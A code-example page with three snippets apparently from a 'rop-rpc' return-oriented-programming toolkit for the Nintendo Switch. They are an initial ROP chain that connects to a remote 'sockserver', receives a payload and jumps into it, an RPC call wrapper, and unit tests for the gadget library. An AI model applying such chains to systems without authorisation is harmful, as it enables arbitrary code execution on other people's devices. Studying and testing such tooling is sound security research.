示例#1
0
    def initial_chain(self):
        """
            This is the first chain executed on switch.

            Its purpose is to send initialization packet to sockserver.
        """
        host = socket.inet_aton(self.host)
        port = socket.htons(self.port)

        rop = Rop()

        sock = rop.alloc(8)

        sockaddr = rop.awrite(
            "\x00\x02" + p16(port) + host +
            "\x00\x00\x00\x00\x00\x00\x00\x00"
        )

        # we send the setup buffer to sockserv, which contains bases of modules and data
        rop.write64(data_base, data_base)
        rop.write64(main_base, data_base + 0x8)
        rop.write64(wk_base, data_base + 0x10)

        rop.call(F.socket, 2, 1, 0)
        rop.store_ret(sock)

        # also store socket fd to setup buffer
        rop.load_ret(sock)
        rop.store_ret(data_base + 0x100)

        rop.load_ret(sock)
        rop.call(F.connect, Ret, sockaddr, 16)
        rop.load_ret(sock)
        # okay now send setup buffer
        rop.call(F.send, Ret, data_base, 0x1000, 0)

        # at this point data_base is pointing at buffer+0x8000
        # just read the rop payload to buffer+0x20000

        new_stack = data_base + (0x20000 - 0x8000) + RPC_ROP_LOCALS

        # recv back the rop payload
        rop.load_ret(sock)
        rop.call(F.recv, Ret, new_stack, RPC_ROP_LEN, SWITCH_MSG_WAITALL) # flags=MSG_WAITALL

        # set up jmp_buf
        rop.write64(new_stack, data_base + 0xF8) # SP
        rop.write64(G.pop_x29_x30, data_base + 0x100) # X30

        # jump into the new payload
        rop.call(F.longjmp, data_base)

        return rop
示例#2
0
    def call(self, func, *args, **kwargs):
        if type(func) in [str, unicode]:
            if func in self.funcs:
                func = self.funcs[func]
            else:
                raise RuntimeError("unknown function {}".format(func))

        return_regs = kwargs.get("regs", False)
        if "regs" in kwargs:
            del kwargs["regs"]

        args = list(args)

        rop = Rop()
        for x, arg in enumerate(args):
            if type(arg) is str:
                args[x] = rop.awrites(arg)

        rop.call(func, *args, **kwargs)

        r0_off = RPC_RESPONSE_LEN - 8
        jmp_buf_off = RPC_RESPONSE_LEN - 0x1000
        # if user asked for return_regs, we use setjmp to retrieve them
        # this is useful for syscalls because they can return values in multiple regs
        if return_regs:
            rop.dump_regs(data_base + jmp_buf_off,
                          and_store_r0=data_base + r0_off)
        else:
            # NB: we store return address as the last qword that switch replies to us, to ensure minimum conflicts with other code
            rop.store_ret(data_base + r0_off)

        data = self.ch.execute(rop)
        self.ch.mem = data

        ret = u64(data, r0_off)

        if return_regs:
            regs = {"x0": ret}  # this one's special
            for x in range(1, 31):
                regs["x{}".format(x)] = u64(data, jmp_buf_off + 8 * x)

            return regs

        return ret
示例#3
0
文件: test.py 项目: cclauss/rop-rpc
class Test(unittest.TestCase):
    def setUp(self):
        self.rop = Rop()

    def execute(self):
        # this must match test/main.c!
        reloc = {
            1: 0x0100000000,  # data
            2: 0x0200000000,  # main
            3: 0x0300000000,  # wk
        }
        binary = self.rop.generate_binary(reloc)

        tmp = tempfile.mkdtemp()
        rop_bin = os.path.join(tmp, "rop.bin")
        with open(rop_bin, "wb") as fout:
            fout.write(binary)
        os.chdir("test")
        try:
            with open(os.devnull, 'w') as devnull:
                output = subprocess.check_output(
                    ["./run.sh", g_main_bin, g_wk_bin, rop_bin],
                    stderr=devnull)
        except Exception as e:
            os.chdir("..")
            raise e
        os.chdir("..")

        self.memory = output

        shutil.rmtree(tmp)

    def test_write(self):
        """" Tests that the write64 gadget works """
        self.rop.write64(0x1234567887654321, data + 0)
        self.rop.write64(0xDEADBEEF, data + 8)
        self.execute()
        self.assertEqual(u64(self.memory, 0), 0x1234567887654321)
        self.assertEqual(u64(self.memory, 8), 0xDEADBEEF)

    def test_func_call(self):
        """ Tests that chaining functions works, and arguments are passed properly """
        self.rop.call(F.setjmp, data + 0, 0x1111111111, 0x2222222222,
                      0x3333333333, 0x4444444444)  # setjmp
        self.rop.write64(0xDEAD, data + 0x50)
        self.rop.call(F.setjmp, data + 0x100, 0x8, 0x7, 0x6, 0x5)  # setjmp
        self.execute()
        self.assertEqual(u64(self.memory, 0x8), 0x1111111111)
        self.assertEqual(u64(self.memory, 0x10), 0x2222222222)
        self.assertEqual(u64(self.memory, 0x18), 0x3333333333)
        self.assertEqual(u64(self.memory, 0x20), 0x4444444444)
        self.assertEqual(u64(self.memory, 0x50), 0xDEAD)
        self.assertEqual(u64(self.memory, 0x108), 0x8)
        self.assertEqual(u64(self.memory, 0x110), 0x7)
        self.assertEqual(u64(self.memory, 0x118), 0x6)
        self.assertEqual(u64(self.memory, 0x120), 0x5)

    def test_awrite(self):
        """ Tests that awrite works and is zero-terminated when needed """
        mem1 = self.rop.awrite("such rop")  # non zero-terminated
        mem2 = self.rop.awrites("much code exec..")
        mem3 = self.rop.awrite("x")
        mem4 = self.rop.awrite("y")
        mem_last = self.rop.awrite("\x00")
        self.execute()
        wrote = self.memory[mem1.imm:mem_last.imm]
        self.assertEqual(
            wrote,
            "such ropmuch code exec..\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00y\x00\x00\x00\x00\x00\x00\x00"
        )

    def test_store_load_ret(self):
        """ Tests that store_ret and load_ret work """
        self.rop.write64(0x8DEADB00B, data)
        self.rop.load_ret(data)
        self.rop.store_ret(data + 8)
        self.rop.load_ret(data + 8)
        self.rop.store_ret(data + 0x50)
        self.execute()
        self.assertEqual(u64(self.memory, 0), 0x8DEADB00B)
        self.assertEqual(u64(self.memory, 8), 0x8DEADB00B)
        self.assertEqual(u64(self.memory, 0x50), 0x8DEADB00B)

    def test_rv_call(self):
        """ Tests that x0 is forwarded properly """
        off = 0x1230
        self.rop.write64(data + off, data)
        self.rop.load_ret(data)
        self.rop.call(F.setjmp, Ret, 1, 2, 3, 4)
        self.execute()
        for x in range(1, 5):
            self.assertEqual(u64(self.memory, off + x * 8), x)

    def test_set_x8(self):
        """ Tests that setting X8 works """
        self.rop.call(F.setjmp, data + 0, 2, 3, x8=0xB00BBABE)  # setjmp
        self.execute()
        self.assertEqual(u64(self.memory, 1 * 8), 2)
        self.assertEqual(u64(self.memory, 2 * 8), 3)
        self.assertEqual(u64(self.memory, 8 * 8), 0xB00BBABE)

    def test_v8_call(self):
        """ Tests that calling with a lot of args works """
        self.rop.call(F.setjmp, data + 0, 2, 3, 4, 5, 6, 7, 8)  # setjmp
        self.execute()
        for x in range(1, 8):
            self.assertEqual(u64(self.memory, x * 8), x + 1)

    def test_dump_regs(self):
        """ Tests that dumping regs via setjmp works """
        self.rop.call(G.ret, 1, 2, 3, 4, 5, 6, 7, 8)
        self.rop.dump_regs(data, and_store_r0=data + 0x400)
        self.execute()
        self.assertEqual(u64(self.memory, 0x400), 1)  # r0
        for x in range(1, 8):
            self.assertEqual(u64(self.memory, x * 8), x + 1)